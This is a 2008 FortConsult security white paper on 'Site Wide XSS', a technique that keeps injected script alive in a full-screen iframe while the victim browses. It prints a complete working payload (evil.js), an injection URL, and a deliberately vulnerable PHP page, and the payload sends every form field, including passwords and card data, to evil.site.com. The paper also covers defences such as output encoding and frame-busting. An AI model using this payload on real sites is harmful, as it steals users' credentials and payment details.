FORTCONSULT

Straight talk on IT security

Site Wide XSS:

A way to make XSS's stay alive

June 2008

Discovered in June 2008 by FortConsult's Security Research Team

Peter Österberg and Anders H Salling

Copyright and Disclaimer

The information in this white paper is Copyright 2008 FortConsult A/S. It is provided so that our customers and others understand the risk they may be facing by running affected software on their systems.

In case you wish to copy information from this white paper, you must either copy all of it or refer to this document (including our URL).

No guarantee / warranty is provided for the accuracy of this information, or against damage you may cause your systems in testing.

The Security Research Team

This white paper has been written after research conducted by FortConsult's Security Research Team/Peter Österberg and Anders H Salling.

FortConsult is a specialist in technical services within the field of IT security. We are vulnerability experts that help business enterprises to protect themselves against the numerous security threats that exist today – both as impartial consultants and with responsibility for specific tasks. Our primary services are security tests and practically-oriented security consultancy.

For more information: www.fortconsult.net.

Table of Contents

What this paper shows 4

What SWXSS could be used for 5

How we did it 5

Unwrapping it 7

- su(myURL) function 7
- addCallBack function 8
- callBack function 8

How to protect from SWXSS attacks 10

- Input validation 10
- Output validation 10
- Frame killing 10

Known limitations with SWXSS 11

- Domain restrictions 11
- Browser's Navigation URL 11

Browser differences 12

- Detection 12

Introduction

Site Wide Cross Site Scripting is a new concept of attacking Cross Site Scripting vulnerable web applications.

The limitation with normal Cross Site Scripting is that the injected script dies as soon as the user leaves the vulnerable URL.

Site Wide Cross Site Scripting is a technique to make the injected code to stay resident in the user's browser even after he leaves the vulnerable URL.

The technique might have been used or discovered by someone else before this white paper was published. The technique, however, hasn't been gathered from somewhere else by the authors, who have conducted their own research. We hope that this paper will show the readers a brand new injection technique that we'd like to name “Site Wide Cross Site Scripting (SWXSS)”.

What this paper shows

This paper will show you a new technique of using XSS/HTML-code injection to make the injected code survive user navigation.

The callback code used for demonstrating SWXSS in this paper will show you how to deploy a callback that grabs all form fields on each navigated page. The callback will grab the current url, each form field's name and value (with values' that is in them when the user navigates away from the page (i.e. the actual username/password that is submitted on a login page)), and then send that information away to the hacker.

Any type of callback that suits the needs could be used, i.e. a callback that steals cookies or some other useful information. The demonstrated callback is just an example.

A couple of examples about situations in which SWXSS could be used will be presented. It will be discussed how well this technique will work in different browsers and browser versions.

The paper will also present a simple remediation technique that could be used to prevent applications from SWXSS.

The paper will not show you how to find web applications that are vulnerable to this technique, it will only explain how to use the technique once such an application has been identified.

The presented material should never be used on systems without explicit permissions given by the system's owner, unless you happen to own the system yourself.

FortConsult takes no responsibility for how using this information could affect you (neither in this life nor after life), your employer, your client, your ex-wife or any other party that might want to fire you or sue your pants of, in case you use the information recklessly.

Copyright FortConsult June 2008, www.fortconsult.net

What SWXSS could be used for

The short answer would be that SWXSS could be used to grab all transactions going on between the user's browser and the domain in which the vulnerable application was exploited. This includes all cookie information, field parameters (of course including the hidden ones), the browsed URL etc.

Example 1: There might be a vulnerable URL before the user is logged in to a web shop. A SWXSS exploit is deployed. The user logs in – username and password gets stolen even if it is a SSL session. It won't stop with that because the user decides to make a purchase from the web shop which in the end will ask him to submit his credit card detail. Those details are of course sent away to the hacker as well, including the CC number, the CVV number, the expiry date, and, incase submitted, the user's first and last name as well.

Example 2: There might be a vulnerable URL somewhere on a community site, the SWXSS exploit of course deployed. All the user's private conversations, mails, chats etc. will be monitored and sent to the hacker.

How we did it

We'd like to think of this as a combination of injecting HTML and JavaScript.

The HTML is injected via JavaScript, this part creates an IFRAME and moves the vulnerable site inside the IFRAME. The technique does actually create two IFRAMEs but more on that later.

Some more JavaScript is loaded to the outer frame, from the hacker's web server. The IFRAME is sized to occupy the entire view space in the browser. We don't want to alert the user, he is supposed to believe that only one page/frame is active - the visible one. The IFRAME's onUnload event is set to call a JavaScript function residing in the outer frame.

The onUnload event triggers a function that contains instruction on what should happen each time the user navigates inside the IFRAME. This can include stealing input parameters, cookies and other valuable information. The function must also include code to reset the onUnload callback on the newly loaded page. Forgetting to do that will make the SWXSS attack stop working after just one navigation, not much of an SWXSS attack in that case...

INVISIBLE Main window
JavaScript code for adding unload eventtrigger in visible IFRAME

New page content:
<html><body>
<script src="http://evil.site.com/evil.js />
<iframe src='http://vulnerable.site.com' id='X' height='100%' width='100%'></iframe>
<iframe src='http://evil.site.com/' height='0%' width='0%' id='H'></iframe>
<script>devil();</script>
</body></html>

VISIBLE IFRAME
Normal page shown

Page content:
UNLOAD Event Listener is placed here after each user navigation.
Event cannot be placed here if the domain changes because of cross domain scripting blockings.

Page shows the pages where the user navigates.

INVISIBLE IFRAME
Source: Hackers logging-page

Page Content:
This IFRAME's source is the hackers site, with options composed of the URL of the visible IFRAME and all the input field names and values. It reloads everytime the user navigates in the visible IFRAME.

Ex: http://evil.site.com/?url=www.vulnsite.com/login.php&user=John&pass=Doe

Injected page setup

Copyright FortConsult June 2008, www.fortconsult.net

Unwrapping it

A vulnerable site is needed before anything can be tested. The easiest way to get one is to create one.

We did this by simply writing this vulnerable PHP-script:

```
01 <html>
02   <body>
03     <?php echo $_GET['vulnparam']; ?>
04     <br>
05     <a href="index.php">click me</A>
06   </body>
07 </html>
```

PHP-script with a working SWXSS vulnerability

What just happened is that we got ourselves a vulnerable web application and the vulnerable parameter has been discovered.

The next thing is of course to exploit the poorly written web application, and a good attack URL is needed.

The code that we need to inject to vulnparam looks like this:

```
01 <script
   src='http://evil.site.com/evil.js'></script><script>su('http://vulnerable.site.com
   /vuln.php')</script>
```

Code injection block

We've chosen to inject a script from the hacker's site because the code got a bit oversized for a one line URL.

This will also make the code easier to illustrate and gives us the opportunity to put in comments etc for you.

The above code will make the browser download the script *evil.js* from the site http://evil.site.com, it will then make the browser execute the function named su(), which of course is part of *evil.js*. The entire *evil.js* script is visible in appendix A.

We can say for now, that the function su() is used to setup up the IFRAME's and to add the first onUnload event callback. The argument to su is to be able to choose what page to load in the IFRAME. This makes the script a bit more generic with the cost of a slightly longer inject-URL.

Merging the inject code with the vulnerable application will look like this:

http://vulnerable.site.com/vuln.php?vulnparam=<script+src='http://evil.site.com/evil.js'></script><script>su('http://vulnerable.site.com/vuln.php')</script>

su(myURL) function

```
01 function su(myURL){
02   document.body.style.padding = 0;
03   document.body.style.margin = 0;
04   document.body.style.overflow = 'hidden';
05   document.body.innerHTML=("<iframe src='" + myURL + "' frameborder=0 id='p0wned'
   height='100%' width='100%'></iframe><iframe src='http://evil.site.com/vuln'
   height='0%' width='0%' id='POSTBACK'></iframe>");
06
07   addCallBack();
08 }
```

The su(myURL) function extracted from evil.js

The above code removes the extra white space border that normally is present between the browser's edge and the document content. Normal borders already exist in the IFRAME we are injecting, and we don't want the white space to have its size doubled – lines 2 and 3.

Line 4 removes scrollbars from the main window, since we would get an unwanted scrollbar otherwise. The way we've chosen to create the IFRAME will in 99% of the cases generate an unwanted scrollbar.

The next thing that needs to be done is to create the IFRAMEs, this is done on line 5 in the above code block.

It is shown that the innerHTML property of the document body is reset. This code will eliminate all code that was present in the property up to now. Any code that was loaded from the web server to the point when the code was injected will be deleted.

It is however not certain that the entire document was loaded when the code was injected. It is actually more likely that there will be some more contents downloaded from the web server. That code will be added after the injected IFRAMEs.

This is the reason why there almost always will be an unwanted scrollbar - one of the IFRAMEs already occupies the entire document window.

The final step, on line 7 in the code, is to set up the actual callback.

addCallBack function

```
01 function addCallBack(){
02   el = document.getElementById('p0wned').contentWindow;
03
04   if (el.addEventListener){
05     el.addEventListener('unload', callBack, false);
06   } else {
07     el.attachEvent('onunload', callBack);
08   }
09 }
```

The addCallBack() function extracted from evil.js

Line 2 is just there for to save some bytes on line 4, 5, and 7. It assigns the object contentWindow of the visible IFRAME into the object el.

There are different ways on how to add an event depending on which browser the user is using.

Line 4 checks if the addEventListener is available. It is used on line 5 to set the unload callback if available.

The attachEvent function is used to set the unload callback incase the addEventListner function isn't available.

Typically attachEvent is used in Internet Explorer, and addEventListener is in FireFox (among others).

The callback function is in both cases set to callBack.

callBack function

```
01 function cb(){
02     var el = document.getElementById('p0wned');
03     var iA = getIfrmDoc(el).getElementsByTagName('input');
04     var pm = 'http://evil.site.com/vuln?url=' + el.contentWindow.location.href;
05
06     for(i=0;i<iA.length;i++){
07       pm = pm + '&' + iA[i].name + '=' + iA[i].value;
08     }
```


Copyright FortConsult June 2008, www.fortconsult.net

```
09     document.getElementById('POSTBACK').contentWindow.location.href = pm;
10
11     var t = setTimeout('d();', 5000);
12 }
```

The callBack() function extracted from evil.js

The callback function is where the stealing of the interesting information actually takes place.

Line 2 and 3 are just as in the addCallBack function there to save some bytes.

Line 2 assigns the element object of the visible IFRAME to the object el.

Line 3 assigns a list of elements to the iA object. The list of elements in this case is of the HTML type INPUT. That means that the iA object now contains a list of all input parameter elements on the active web page.

The observant reader will notice that there is a function call to the function GetIFrmDoc() on line 3. This function merely returns the correct object type to the getElementsByTagName property. The object type is different depending on which browser is used.

The GetIFrmDoc function will not be explained here. It will however be shown in the full code listing in appendix A.

Line 4 starts building up the URL that will be posted to the hacker. At this point the hacker's URL is added and also the current URL of the visible IFRAME (el.contentWindow.location.href). It is all put in the object pm.

The only thing left to do now is to add all the input parameters names and values to the object pm, before it is passed to the hacker's server.

This is done on the code lines 6 and 7. The for-loop iterates through all of the input elements in the iA list and adds each to the pm object.

The value of pm does at this point represent the full URL that should be passed to the hacker's server.

This URL is sent by assigning value of pm to the SRC URL of the invisible IFRAME (the POSTBACK frame). This is done on line 10.

There is one more thing to do to be prepared for the next user navigation. We have to reset the onUnload event callback. This can unfortunately not be done immediately because the new page which it should be set on hasn't been load yet.

A timer is used to give the page some time to get loaded before the callback is set. Five seconds have been a good timeout period during the tests, this value might have to be changed depending on server load, bandwidth etc.

Line 12 sets the timeout and makes sure that the onUnload event callback is set once the new page has been loaded into the visible IFRAME.

The cycle is now completed, and we just have to wait for the user to navigate again which will repeat the cycle. The cycle will be repeated until the user decides to navigate away from the current domain. This will cause a permission denied error to be raised in the browser when it tries to add the callback.

The normal user won't notice this but it can be detected.

- Internet Explorer 7 shows a small broken icon in the bottom left corner which indicates that the page loaded with errors.

- Firefox will show the error as well if the user decides to open the Error Console which is available in the Tool menu.

How to protect from SWXSS attacks

SWXSS attacks can be performed since the web application already has a XSS vulnerability in one way or another. So SWXSS should ideally be remediated with the same solution as XSS's is. SWXSS vulnerabilities can't exist unless a XSS vulnerability also do exist.

Input validation

Input validation one of the most important measures that should be taken to protect web applications from a number of threats; including XSS, SQL-injection and others.

There are a number of ways to do this with various results. The best way is to use a so called positive list, where only expected input is allowed to pass.

It is however not always possible to know what valid input is, and then you might have to trust a negative list and try to filter for known malicious characters and combinations.

It is advisable that input validation always is complemented with output sanitation. The input validation might contain flaws, the hacker might have figured out a way to fool the input validation mechanism etc. Then it is nice to at least have one more line of defense to fall back on.

There are numerous of resources on detailing how to do proper input validation. The XSS cheat sheet is a very good document with showing a huge list of possible variants that could be used to successfully accomplish a XSS attack. It is obvious how important it is that the input validation is properly done after having read this. The XSS cheat sheet can be found here, http://ha.ckers.org/xss.html.

Output validation

Output validation should be considered to be the second line of defense against XSS attacks and also for SWXSS. First line of defense is input validation.

Output sanitation is used to make sure that the output from the web application never contains any characters that can generate valid tags, i.e. HTML, XML etc. As an example ‘<’ becomes ‘<’ and ‘>’ becomes ‘>’.

More extensive information about output validation can easily be found by asking Google.

Frame killing

Is there a need for having a third line of defense, shouldn't the two first be enough? The simple answer would be, yes it should be enough. SWXSS should however be considered to be much more severe than the average Joe XSS attack. It does for this reason make sense to have an extra line of defense at hand.

SWXSS relies on surviving in the outer invisible window, while the user is navigating inside the visible IFRAME. HTML-code that makes sure that the page always is loading in the main window can easily be implemented.

This mean that the web page would be reloaded if it resides inside an IFRAME making sure that it is loaded in the main window.

As a final note to this, make sure that the first and second lines of defense are sufficient! The web application will most definitely contain other serious vulnerabilities if it has to fall back on the frame

Copyright FortConsult June 2008, www.fortconsult.net

killing defense.

```
01 if (top.location != location) {
02     top.location.href = document.location.href ;
03   }
```
JavaScript example of how to break out of frames

Known limitations with SWXSS

There are currently two known limitations to this technique. The first has already been discussed, the fact that this technique will stop working as soon as the user navigates away from the domain in which the exploit was injected.

Domain restrictions

The domain restriction is caused by the browsers security mechanisms, so this might actually not be a problem depending on browser and/or version.

Older browsers are known to not have those restrictions and will hence be vulnerable to WWXSS (World Wide XSS). We are currently researching if it is possible to make even the most recent browsers vulnerable to WWXSS.

Browser's Navigation URL

The second limitation concerns the URL shown in the browsers navigation text field. This text field will not get updated when the user navigates, since the user only is navigating in the IFRAME. This will of course alert the observant user.

It will also cause the exploit to stop working if the user decides to manually type in a new URL in the navigation text field even if it is within the same domain. This will make the browser to load the new URL, hence unloading anything currently loaded including the invisible main window.

We currently don't know if it will be possible to prevent this from happening, but is not likely that this can be prevented.

Browser compatibility

Browser version	Version	Platform	Working
Internet Explorer	6.0	XP	✓
Internet Explorer	7.0	XP	✓
FireFox	1.5	XP	✓
FireFox	2.0	Linux	✓
FireFox	3.0	Linux	✓
FireFox	2.0	XP	✓
FireFox	3.0	XP	✓
Konqueror	4.0	Linux	✗[2]
Links2	2.1pre32	Linux	✗[1]
Lynx	2.8.6	Linux	✗[1]
Opera	9.5.0	Linux	✗[2]
Opera	9.5.0	XP	✗[2]
Safari	3.1.1	Mac OS X	✓
Safari	3.1.2	XP	✓

1 Links2 and Lynx have been in text mode and weren't expect to work since they lack good IFRAME support

2 Both Konqueror and Opera fail in the function addCallBack. It is expected that a code monkey with greater coding skills than the researchers have will be able to get SWXSS to work in those browsers as well.

Detection

There is another way to detect if you have an IFRAME in your browser that occupies the entire view space, at least if you are using Firefox.

Firefox will show the user a menu option saying 'This Frame' if the user right-clicks on the browser's document. This will of course inform the user that there is at least one active frame on the page. This is not that bad since many web sites uses frames which would cause this menu option to show up even if there were no active SWXSS.

Internet Explorer will not show any such information, it will just give the user it's normal menu option 'View Source'.

Copyright FortConsult June 2008, www.fortconsult.net

Appendix A

This appendix lists the entire evil.js JavaScript.

```
01 function getIfrmDoc(ifrm) {
02   var doc;
03   if( ifrm.contentDocument )
04     doc = ifrm.contentDocument;
05     else if( ifrm.contentWindow )
06       // For IE5.5 and IE6
07       doc = ifrm.contentWindow.document;
08     else if( ifrm.document )
09       // For IE5
10       doc = ifrm.document;
11     else //other browser
12       doc = ifrm.document;
13
14     return doc;
15 }
16
17 function callBack(){
18     var el = document.getElementById('p0wned');
19     var iA = getIfrmDoc(el).getElementsByTagName('input');
20     var pm = 'http://evil.site.com/vuln?url=' + el.contentWindow.location.href;
21
22     for(i=0;i<iA.length;i++){
23       pm = pm + '&' + iA[i].name + '=' + iA[i].value;
24     }
25     document.getElementById('POSTBACK').contentWindow.location.href = pm;
26
27     var t = setTimeout('addCallBack();', 5000);
28 }
29
30 function addCallBack(){
31   el = document.getElementById('p0wned').contentWindow;
32
33   if (el.addEventListener){
34     el.addEventListener('unload', callBack, false);
35   } else {
36     el.attachEvent('onunload', callBack);
37   }
38 }
39
40 function su(myURL){
41   document.body.style.padding = 0;
42   document.body.style.margin = 0;
43   document.body.style.overflow = 'hidden';
44   document.body.innerHTML = ("<iframe src='" + myURL + "' frameborder='0'
id='p0wned' height='100%' width='100%'></iframe><iframe
src='http://evil.site.com/asd' height='0%' width='0%' id='POSTBACK'></iframe>");
45
46   addCallBack();
47 }
```